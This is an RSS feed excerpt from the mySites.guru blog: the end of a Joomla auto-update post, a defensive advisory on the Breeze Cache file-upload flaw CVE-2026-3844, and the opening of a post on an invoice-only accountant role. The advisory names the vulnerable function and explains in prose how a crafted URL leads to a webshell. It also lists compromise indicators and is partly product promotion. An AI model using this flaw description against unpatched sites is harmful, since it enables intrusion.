&lt;p&gt;Combine that with the &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;vulnerability scanner&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; and you have the three signals that matter on day one of an extension CVE: which sites have it installed, which sites are auto-updating it, and which sites are still vulnerable. The same three signals work for core CVEs - the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;Joomla 5.4.6 and 6.1.1 security release&lt;/a&gt; on 26 May 2026 is a recent example where the dashboard answered “which sites are still on the vulnerable version” in seconds.&lt;/p&gt;
&lt;h2&gt;Why Rolling Your Own Auto-Updater Always Falls Apart&lt;/h2&gt;
&lt;p&gt;Every agency that runs more than a handful of Joomla sites eventually asks: can we just write a bash script and a cron job, hit each site’s update API, and skip paying for a platform? The technical answer is yes, you can. You will, for about six months.&lt;/p&gt;
&lt;p&gt;What gets you in the end is not the script. It’s everything underneath it.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Per-site, not per-portfolio.&lt;/strong&gt; A bash or PHP cron sitting on each Joomla site’s own server is per-site by definition. Want to know which of 80 client sites successfully patched JCE Editor last night? You are SSH’ing into 80 servers and grepping logs, or you are building the dashboard yourself. That is the platform you decided not to pay for, now built worse.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla minor releases keep breaking it.&lt;/strong&gt; The update API is stable, until a 5.x point release tightens authentication, or 6.0 deprecates a field, or a TUF rollout changes the hash algorithm (Joomla extension manifests have already moved from MD5 to SHA-256/384/512 over the years). Every Joomla release is a chance for your homegrown script to start failing on a subset of sites. You find out from the client.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key and credential rotation.&lt;/strong&gt; Each site needs a credential the script can present to call the admin API, or a long-lived token sitting in a script directory the world can read. When the developer who wrote the script leaves, that credential moves with them or stays orphaned on every site.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No monitoring wiring.&lt;/strong&gt; A cron that exits 0 on a failed update because it didn’t actually parse the response is the worst kind of monitoring: silent confidence. Without a separate alerting layer (uptime monitor, error log parser, email-to-on-call), you find broken updates the way clients always do, which is after the homepage breaks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Maintenance is a tax you pay forever.&lt;/strong&gt; Joomla update XML adds a new field. PHP 8.4 changes a deprecation. cURL 8 tightens TLS defaults. Each one is a half-day for someone on your team to patch the script across every site, or a ticket that sits in the backlog while sites drift out of compatibility.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;mySites.guru&lt;/a&gt; is the platform answer to all of the above. The check runs once a day per stream from a central queue, not per site. The agency dashboard is the per-portfolio view, already built. The connector is updated for every Joomla minor release as part of the platform’s daily work, not yours. Failed updates email the account owner, not /dev/null. And the £19.99 a month for unlimited sites is, in agency time terms, less than the half-day a quarter you would otherwise be spending fixing your own script.&lt;/p&gt;
&lt;p&gt;Roll-your-own is a fine prototype. It is a bad five-year plan.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Help5.x:Extensions:_Update_Sites/en&quot;&gt;Joomla Documentation: Extensions Update Sites (Help5.x)&lt;/a&gt; - official Joomla docs on the update-site protocol that auto-updates depend on.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Help5.x:Joomla_Update/en&quot;&gt;Joomla Documentation: Joomla Update (Help5.x)&lt;/a&gt; - the core update screen, separate from extension auto-updates.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/october-2025/automatic-core-updates-in-joomla&quot;&gt;Joomla Community Magazine: Automatic core updates in Joomla&lt;/a&gt; - official background on the Joomla 5.4 core auto-update feature.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/products/akeeba-backup.html&quot;&gt;Akeeba Backup&lt;/a&gt; - the backup integration mySites.guru drives for the daily snapshot before any update.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;&lt;img alt=&quot;mySites.guru first month free banner&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1200px) 1200px, 100vw&quot; width=&quot;1200&quot; height=&quot;630&quot; src=&quot;https://mysites.guru/_astro/first-month-free.DEPgM4_K_Z2be6je.webp&quot; srcset=&quot;https://mysites.guru/_astro/first-month-free.DEPgM4_K_qHBzv.webp 640w, https://mysites.guru/_astro/first-month-free.DEPgM4_K_sbVxb.webp 750w, https://mysites.guru/_astro/first-month-free.DEPgM4_K_2CO7P.webp 828w, https://mysites.guru/_astro/first-month-free.DEPgM4_K_ZF6e44.webp 1080w, https://mysites.guru/_astro/first-month-free.DEPgM4_K_Z2be6je.webp 1200w&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Unlock Joomla extension auto-updates free for a month&lt;/p&gt;
  &lt;p&gt;New to mySites.guru? Take it for a full month at no charge. Connect a few client sites, turn on extension auto-update for the streams you trust, schedule the daily backup, wire up uptime monitoring, and see what running a Joomla portfolio looks like when the platform handles the routine work.&lt;/p&gt;
  &lt;p&gt;Your first audit needs no card. Then subscribe with code FIRSTMONTHFREE for a free month, with every feature on every site, and pay the same £19.99 a month after it that the platform has charged since 2012.&lt;/p&gt;
  &lt;div&gt;
    &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Start your free month&lt;/a&gt;
    &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;How the free month works&lt;/a&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Already running a single site and just want a quick check first? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; - no signup, no credit card, results in two minutes.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>updates</category><category>extensions</category><category>auto-update</category><category>manage joomla</category><enclosure url="https://mysites.guru/img/og/blog/how-to-enable-joomla-extension-auto-updates.png" length="0" type="image/png"/></item><item><title>Breeze, Cloudways Cache Plugin, Has a Remote Code Execution Bug</title><link>https://mysites.guru/blog/breeze-cache-cve-2026-3844-active-exploitation/</link><guid isPermaLink="true">https://mysites.guru/blog/breeze-cache-cve-2026-3844-active-exploitation/</guid><description>Wordfence blocked 3,936 attacks in 24 hours against Breeze Cache below 2.4.5. CVE-2026-3844 is unauthenticated RCE on 400,000+ WordPress sites.</description><pubDate>Wed, 06 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/&quot;&gt;Wordfence blocked 3,936 attack attempts&lt;/a&gt; against the Breeze Cache WordPress plugin in a single 24-hour window in late April 2026. &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-3844&quot;&gt;CVE-2026-3844&lt;/a&gt; is an unauthenticated arbitrary file upload, scored CVSS 9.8, and ends in remote code execution. &lt;a href=&quot;https://wordpress.org/plugins/breeze/&quot;&gt;Breeze&lt;/a&gt; has 400,000+ active installs, and Cloudways ships it as the default cache plugin on its WordPress hosting platform.&lt;/p&gt;
&lt;p&gt;This is a Cloudways-flavoured problem. Breeze is &lt;a href=&quot;https://www.cloudways.com/blog/breeze-cache-plugin-security-advisory/&quot;&gt;Cloudways’ own cache plugin&lt;/a&gt; and ships preinstalled on every new WordPress install on the Cloudways platform. If you are not a Cloudways customer and you have not specifically chosen to install Breeze on a self-hosted site, you are not affected by this CVE and you can stop reading. If you are on Cloudways, or if you reached for Breeze as a free WP Rocket alternative on a self-hosted site, read on.&lt;/p&gt;
&lt;p&gt;The plugin author patched it in version 2.4.5 on April 21, 2026, and shipped two follow-up versions (2.4.6, 2.4.7) since. The technical fix takes a minute per site. The harder question is which sites in your portfolio are still on a vulnerable build, and how quickly you can prove it.&lt;/p&gt;
&lt;p&gt;We queried our own extension inventory the day Wordfence’s advisory was published. Hundreds of paying mySites.guru subscriber sites were running pre-2.4.5 Breeze. One was on Breeze 1.0.10, an eight-year-old build. We emailed every affected customer the same day.&lt;/p&gt;
&lt;p&gt;This post covers what CVE-2026-3844 actually is, how to detect a compromise, and how to find every Breeze install across a portfolio of WordPress sites without logging into 50 dashboards.&lt;/p&gt;
&lt;h2&gt;How to Find Every Breeze Cache Install with mySites.guru&lt;/h2&gt;
&lt;p&gt;If you manage more than three or four WordPress sites, manual inspection is the wrong tool for a vulnerability like this. mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension inventory&lt;/a&gt; tracks every plugin on every connected WordPress site, with the version each one is running. Search for &lt;code&gt;breeze&lt;/code&gt;, and the dashboard returns every site with the plugin installed, colour-coded against the patched version.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru extension warning showing Breeze Cache flagged as vulnerable across multiple WordPress sites with version numbers&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1920px) 1920px, 100vw&quot; width=&quot;1920&quot; height=&quot;916&quot; src=&quot;https://mysites.guru/_astro/mysitesguru-vulnerable-plugin-warning.CJMkUUnS_Z1SS1YQ.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysitesguru-vulnerable-plugin-warning.CJMkUUnS_ZDDwAE.webp 640w, https://mysites.guru/_astro/mysitesguru-vulnerable-plugin-warning.CJMkUUnS_Zt8jqC.webp 750w, https://mysites.guru/_astro/mysitesguru-vulnerable-plugin-warning.CJMkUUnS_ZwWE8x.webp 828w, https://mysites.guru/_astro/mysitesguru-vulnerable-plugin-warning.CJMkUUnS_Z1fuRw5.webp 1080w, https://mysites.guru/_astro/mysitesguru-vulnerable-plugin-warning.CJMkUUnS_26J1p2.webp 1280w, https://mysites.guru/_astro/mysitesguru-vulnerable-plugin-warning.CJMkUUnS_Z1l8iQf.webp 1668w, https://mysites.guru/_astro/mysitesguru-vulnerable-plugin-warning.CJMkUUnS_Z1SS1YQ.webp 1920w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: jump straight to the Breeze inventory&lt;/p&gt;
  &lt;p&gt;If you have a &lt;a href=&quot;https://manage.mysites.guru&quot;&gt;mySites.guru account&lt;/a&gt;, this link opens the extension search filtered for Breeze across every WordPress site you have connected. Anything below 2.4.5 needs an update before you close your laptop today: &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/afb699d931c947dff574d923a567eb0e&quot;&gt;Breeze Cache - extension search&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you do not subscribe yet, you can connect your sites and run the same search in a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt;. The extension inventory is one of the things the audit covers.&lt;/p&gt;
&lt;h2&gt;What Is the Breeze Cache CVE-2026-3844 Vulnerability?&lt;/h2&gt;
&lt;p&gt;CVE-2026-3844 is an unauthenticated arbitrary file upload vulnerability in Cloudways’ Breeze Cache plugin. NIST scored it CVSS 9.8 (critical) and assigned CWE-434.&lt;/p&gt;
&lt;p&gt;The bug lives in &lt;code&gt;fetch_gravatar_from_remote&lt;/code&gt; inside &lt;code&gt;class-breeze-cache-cronjobs.php&lt;/code&gt;. When the “Host Files Locally - Gravatars” option is enabled, the plugin downloads avatar images from a URL passed in via a parameter, with no validation that the URL points to Gravatar or that the response is actually an image. An attacker passes their own URL, the plugin fetches whatever the attacker is serving, and writes it to the filesystem. From there it is one HTTP request to drop a webshell.&lt;/p&gt;
&lt;p&gt;The exploit pre-condition is the &lt;strong&gt;Host Files Locally - Gravatars&lt;/strong&gt; option, which is off by default. Cloudways’ own &lt;a href=&quot;https://www.cloudways.com/blog/breeze-cache-plugin-security-advisory/&quot;&gt;security advisory&lt;/a&gt; notes that the platform’s default safeguards block direct PHP file access, which breaks the file-upload-to-RCE chain on Cloudways-hosted sites unless that protection has been removed. Self-hosted WordPress sites and customers on hosts without that safeguard get the full RCE.&lt;/p&gt;
&lt;p&gt;The patch in 2.4.5 enforces official Gravatar sources only. Affected versions are everything up to and including &lt;strong&gt;2.4.4&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Why Breeze Cache Is on So Many WordPress Sites&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/breeze/&quot;&gt;Breeze&lt;/a&gt; is a free WordPress cache plugin from Cloudways and reports 400,000+ active installs on WordPress.org. Its scale comes from two distinct populations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cloudways-hosted sites.&lt;/strong&gt; Breeze is the default cache plugin on the Cloudways managed-WordPress platform. New WordPress installs on Cloudways get it automatically.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Self-hosted sites.&lt;/strong&gt; Site owners reach for Breeze as a free alternative to WP Rocket. It does enough of the same job to be the obvious pick when budget is the constraint.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both populations have the same problem with this CVE: it was installed once, configured once, and then forgotten about. Plugin updates auto-applied or did not. No one routinely audits which sites have which version of which cache plugin until something like Wordfence’s advisory appears.&lt;/p&gt;
&lt;h2&gt;How Bad Is the Breeze Cache Active Exploitation?&lt;/h2&gt;
&lt;p&gt;Wordfence’s &lt;a href=&quot;https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/&quot;&gt;active-exploitation report&lt;/a&gt; says the firewall blocked 3,936 attack attempts in the 24 hours preceding their post. Public proof-of-concept exploits are already on GitHub. &lt;a href=&quot;https://www.bleepingcomputer.com/news/security/hackers-exploit-file-upload-bug-in-breeze-cache-wordpress-plugin/&quot;&gt;BleepingComputer&lt;/a&gt; and &lt;a href=&quot;https://securityaffairs.com/191267/uncategorized/over-400000-sites-at-risk-as-hackers-exploit-breeze-cache-plugin-flaw-cve-2026-3844.html&quot;&gt;SecurityAffairs&lt;/a&gt; ran follow-up coverage in the same window.&lt;/p&gt;
&lt;p&gt;The CVSS-9.8 score combined with the “unauthenticated” qualifier is what makes this serious. The attacker needs no login, no admin click, no chained exploit. They need to find a site running pre-2.4.5 Breeze with the Gravatars option on, and the file upload works.&lt;/p&gt;
&lt;h2&gt;How Do I Check If a Breeze Cache Site Has Been Compromised?&lt;/h2&gt;
&lt;p&gt;Cloudways’ advisory points at one specific path. The Breeze cache directory is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;/wp-content/cache/breeze-extra/gravatars/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That directory should only ever contain image files. Per Cloudways’ guidance, anything else in there is suspicious:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PHP files (&lt;code&gt;.php&lt;/code&gt;, &lt;code&gt;.phtml&lt;/code&gt;, &lt;code&gt;.phar&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.htaccess&lt;/code&gt; overrides (attackers use these to make image-extension files execute as PHP)&lt;/li&gt;
&lt;li&gt;Files with no extension&lt;/li&gt;
&lt;li&gt;Files with double extensions (&lt;code&gt;avatar.jpg.php&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you find any of those, treat the site as potentially compromised. Pull the site offline if you can, run a full malware scan against the whole webspace (not just &lt;code&gt;/wp-content/cache/&lt;/code&gt;), and inspect &lt;code&gt;wp-config.php&lt;/code&gt; and other entry-point files for injected code.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Webshells rarely sit alone&lt;/p&gt;
  &lt;p&gt;If an attacker dropped a payload through the Gravatars cache path, assume they used it to drop additional files elsewhere on the site. Scope a malware scan against the entire webspace, including theme and core directories. The original entry point is usually the smallest piece of the infection.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Update to Breeze 2.4.7, Not Just 2.4.5&lt;/h2&gt;
&lt;p&gt;Cloudways shipped two more Breeze releases after the original CVE patch. The summary is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2.4.5&lt;/strong&gt; - Patches CVE-2026-3844 by restricting Gravatar fetches to official sources.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2.4.6&lt;/strong&gt; - CPU and multisite fixes after 2.4.5.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2.4.7&lt;/strong&gt; - Fixes a Varnish purge regression introduced in 2.4.6.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you are auditing now, target &lt;strong&gt;2.4.7&lt;/strong&gt;. Sites stuck on 2.4.5 are no longer vulnerable to CVE-2026-3844, but they are running into the regressions the later versions fix. mySites.guru’s &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk update&lt;/a&gt; will push every site to the current version with backups taken first, so a regression on one site does not stop the rollout.&lt;/p&gt;
&lt;h2&gt;Hundreds of Our Own Subscriber Sites Were Vulnerable&lt;/h2&gt;
&lt;p&gt;When Wordfence published, we ran one extension-inventory query against the platform. The number was bigger than we expected. Hundreds of paying mySites.guru subscriber sites were running Breeze versions below 2.4.5. We emailed every affected customer the same day with the list of their specific sites and the versions installed.&lt;/p&gt;
&lt;p&gt;The patterns in that data:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The vulnerable population was spread across &lt;strong&gt;every&lt;/strong&gt; Breeze customer we had. Not most. All. Two weeks after the patch, none of our subscribers were on 2.4.5 or later through their own update workflow.&lt;/li&gt;
&lt;li&gt;Version drift inside a single account was the norm. One customer had ten sites running six different Breeze builds, ranging from 2.0.24 (June 2022) to 2.4.2 (March 2026). All were vulnerable, but they had nothing in common operationally except “we forgot about this”.&lt;/li&gt;
&lt;li&gt;The oldest install we saw was Breeze &lt;strong&gt;1.0.10&lt;/strong&gt;. That build is from around 2018. The site has been running an eight-year-old cache plugin under continuous CMS updates since then, with no one noticing.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is the same shape of problem that the &lt;a href=&quot;https://mysites.guru/blog/essential-plugin-wordpress-backdoor/&quot;&gt;Essential Plugin backdoor&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;Smart Slider 3 Pro supply chain compromise&lt;/a&gt; exposed earlier in 2026. The plugin you installed once and never thought about again is the one attackers find first. When the next disclosure happens, the operational question is the same one Breeze just asked: can you list every site where this plugin is installed, and the version each one is running, before you close your laptop today?&lt;/p&gt;
&lt;h2&gt;Manual Detection: How to Audit Breeze Without mySites.guru&lt;/h2&gt;
&lt;p&gt;If you only have a handful of WordPress sites and do not use a portfolio dashboard, here is the manual sequence:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;List sites.&lt;/strong&gt; Write down every WordPress site you manage. Include staging environments. Include sites that are technically retired but still resolving DNS.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For each site, log in to wp-admin.&lt;/strong&gt; Open Plugins. Look for “Breeze”. Note the version.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update.&lt;/strong&gt; Anything below 2.4.5 needs immediate update to 2.4.7.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check the Gravatars setting.&lt;/strong&gt; In Breeze settings, find Host Files Locally - Gravatars. Disable it on any site that does not specifically need locally-hosted Gravatars.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Inspect the cache directory.&lt;/strong&gt; SFTP into each site and look at &lt;code&gt;/wp-content/cache/breeze-extra/gravatars/&lt;/code&gt;. Confirm only image files are present.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If anything looks wrong, scan.&lt;/strong&gt; Use a deep file scanner (WPScan, Wordfence’s own scanner, or any of the &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;malware scanners&lt;/a&gt; that scan the whole webspace, not just plugin files).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Steps 1 through 4 take roughly five minutes per site if you have all the credentials at hand and nothing fights you. Step 5 doubles that. Across 50 sites, that is a working day for one plugin disclosure. The next disclosure costs you another working day.&lt;/p&gt;
&lt;h2&gt;Why Plugin Audits Should Be Continuous, Not Incident-Driven&lt;/h2&gt;
&lt;p&gt;mySites.guru exists because incident-driven plugin audits are the wrong shape of work. Reacting to every Wordfence advisory by manually auditing your portfolio is skilled work that doesn’t scale, done under time pressure right when calm thinking matters most.&lt;/p&gt;
&lt;p&gt;The CMS-management work that does scale looks different:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A continuously-updated extension inventory.&lt;/strong&gt; Every time a connected site reports its plugin list, the inventory updates. There is no “audit moment” - the inventory is always current.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cross-referenced against vulnerability feeds.&lt;/strong&gt; When a CVE drops for a plugin you manage, you know within hours which of your sites are affected. Not “which CVEs came out this week” - which of &lt;em&gt;your&lt;/em&gt; sites have &lt;em&gt;this&lt;/em&gt; CVE.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bulk update with backup-first.&lt;/strong&gt; When the answer is “update to 2.4.7”, you push the update to every affected site in a batch with rollback available, not by clicking through 50 wp-admin sessions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Real-time alerts on file changes.&lt;/strong&gt; If an attacker did get a webshell onto one of your sites, &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;file-change alerting&lt;/a&gt; catches it the moment the new file appears, not weeks later when the SEO spam shows up in Google.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can build all of this yourself with WP-CLI, cron jobs, and a database. If you have time, do. Most of the agencies and freelancers we work with did the maths on it and decided the £19.99/month was less expensive than building and maintaining the same thing.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-04-21&lt;/strong&gt; Breeze 2.4.5 patches CVE-2026-3844 The fix restricts Gravatar fetches to official sources. The flaw is an unauthenticated arbitrary file upload leading to remote code execution, on a caching plugin installed on more than 400,000 WordPress sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-04&lt;/strong&gt; Late April: Wordfence blocks 3,936 attack attempts in 24 hours Mass exploitation against sites that had not taken the 2.4.5 update. The technical fix takes a minute per site; the harder question is which sites in a portfolio are still on a vulnerable build.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-05-06&lt;/strong&gt; We publish, and 2.4.7 is the version to be on 2.4.6 and 2.4.7 followed 2.4.5 with CPU and Varnish purge fixes. Sites stuck on 2.4.5 are no longer vulnerable to this flaw, but they are running into the regressions the later versions repair.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/&quot;&gt;Wordfence active exploitation report (May 2026)&lt;/a&gt; - Original telemetry on the 3,936 attacks in 24 hours.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cloudways.com/blog/breeze-cache-plugin-security-advisory/&quot;&gt;Cloudways Breeze Cache security advisory&lt;/a&gt; - Vendor guidance, including the &lt;code&gt;/wp-content/cache/breeze-extra/gravatars/&lt;/code&gt; IOC path.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/hackers-exploit-file-upload-bug-in-breeze-cache-wordpress-plugin/&quot;&gt;BleepingComputer coverage of the Breeze exploitation&lt;/a&gt; - Independent reporting with technical detail.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://securityaffairs.com/191267/uncategorized/over-400000-sites-at-risk-as-hackers-exploit-breeze-cache-plugin-flaw-cve-2026-3844.html&quot;&gt;SecurityAffairs: 400,000 sites at risk&lt;/a&gt; - Includes context on the exploitation timeline.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-3844&quot;&gt;NVD entry for CVE-2026-3844&lt;/a&gt; - Official CVSS scoring and CPE data.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/breeze/&quot;&gt;WordPress.org Breeze plugin page&lt;/a&gt; - Current version, install count, changelog.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; to see every plugin on every WordPress site you manage, including which ones still need the Breeze 2.4.5+ update.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>vulnerability</category><category>plugins</category><category>cloudways</category><category>malware</category><enclosure url="https://mysites.guru/img/og/blog/breeze-cache-cve-2026-3844-active-exploitation.png" length="0" type="image/png"/></item><item><title>A Login for Your Accountant, Not Your Sites</title><link>https://mysites.guru/blog/accountant-portal-invoice-access/</link><guid isPermaLink="true">https://mysites.guru/blog/accountant-portal-invoice-access/</guid><description>Invite your bookkeeper or accountant to mySites.guru with read-only access to invoices only. No site access, no tools, no team data, nothing else.</description><pubDate>Thu, 16 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is a blog post about a mySites.guru feature. Accountants can now log in to mySites.guru themselves to grab your past invoices.&lt;/p&gt;
&lt;p&gt;If you run a web agency on mySites.guru, your accountant does not need to see your client sites. They need your invoices. And yet most SaaS tools force you to pick between two bad options: hand over full access and trust the bookkeeper not to poke around, or export a PDF of every invoice at month end and email the lot.&lt;/p&gt;
&lt;p&gt;We shipped a third option. It is called the &lt;strong&gt;Accountant Portal&lt;/strong&gt; and it is live today on every paid plan.&lt;/p&gt;
&lt;h2&gt;What Does the Accountant Portal Do?&lt;/h2&gt;
&lt;p&gt;The Accountant Portal is a new role type for &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team members&lt;/a&gt;. When you add a user and pick &lt;strong&gt;Accountant only&lt;/strong&gt;, that user can log in, see your invoices, open any invoice in detail, and email a copy to themselves. That is the complete list. Every other page in the app returns 403 Access Denied.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru Accountant Portal showing a clean invoices list for captain@phil-taylor.com. Each row shows a Recurring subscription payment with date, amount in GBP, and a View invoice button. The header reads mySites.guru - Accountant Portal with a Log out button on the right.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2116px) 2116px, 100vw&quot; width=&quot;2116&quot; height=&quot;1152&quot; src=&quot;https://mysites.guru/_astro/accountant-portal-invoices.iAs1Gn1n_Z21EYaO.webp&quot; srcset=&quot;https://mysites.guru/_astro/accountant-portal-invoices.iAs1Gn1n_ZyOKiX.webp 640w, https://mysites.guru/_astro/accountant-portal-invoices.iAs1Gn1n_2lPNBu.webp 750w, https://mysites.guru/_astro/accountant-portal-invoices.iAs1Gn1n_Z1njskD.webp 828w, https://mysites.guru/_astro/accountant-portal-invoices.iAs1Gn1n_Z1LVqTa.webp 1080w, https://mysites.guru/_astro/accountant-portal-invoices.iAs1Gn1n_1woz96.webp 1280w, https://mysites.guru/_astro/accountant-portal-invoices.iAs1Gn1n_2rvGXz.webp 1668w, https://mysites.guru/_astro/accountant-portal-invoices.iAs1Gn1n_282uPP.webp 2048w, https://mysites.guru/_astro/accountant-portal-invoices.iAs1Gn1n_Z21EYaO.webp 2116w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That screenshot is the entire world an accountant can see. No sidebar, no tools menu, no team management, no settings. Just invoices.&lt;/p&gt;
&lt;h2&gt;Why Build a Separate Role Instead of Adding Permissions?&lt;/h2&gt;
&lt;p&gt;mySites.guru has had &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team members with per-site and per-feature permissions&lt;/a&gt; for years. We could have added an “invoices only” toggle to the existing team form. We chose not to.&lt;/p&gt;
&lt;p&gt;A permission-based approach leaks. Every time we add a new feature (a new &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;tool&lt;/a&gt;, a new audit, a new dashboard widget) we have to remember to exclude the accountant role. One missed &lt;code&gt;#[IsGranted]&lt;/code&gt; check and the bookkeeper is suddenly looking at your &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;hacked-sites list&lt;/a&gt;. That is not a security model, that is a promise we have to keep renewing on every PR, and we will eventually forget one.&lt;/p&gt;
&lt;p&gt;The Accountant Portal inverts the default. Instead of maintaining a growing allowlist of what an accountant cannot see, we maintain a short allowlist of what they &lt;em&gt;can&lt;/em&gt; see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/invoices&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/invoices/{id}&lt;/code&gt; (single invoice view)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/invoices/{id}/email&lt;/code&gt; (email invoice to self)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/login&lt;/code&gt;, &lt;code&gt;/logout&lt;/code&gt;, password reset&lt;/li&gt;
&lt;/ul&gt;
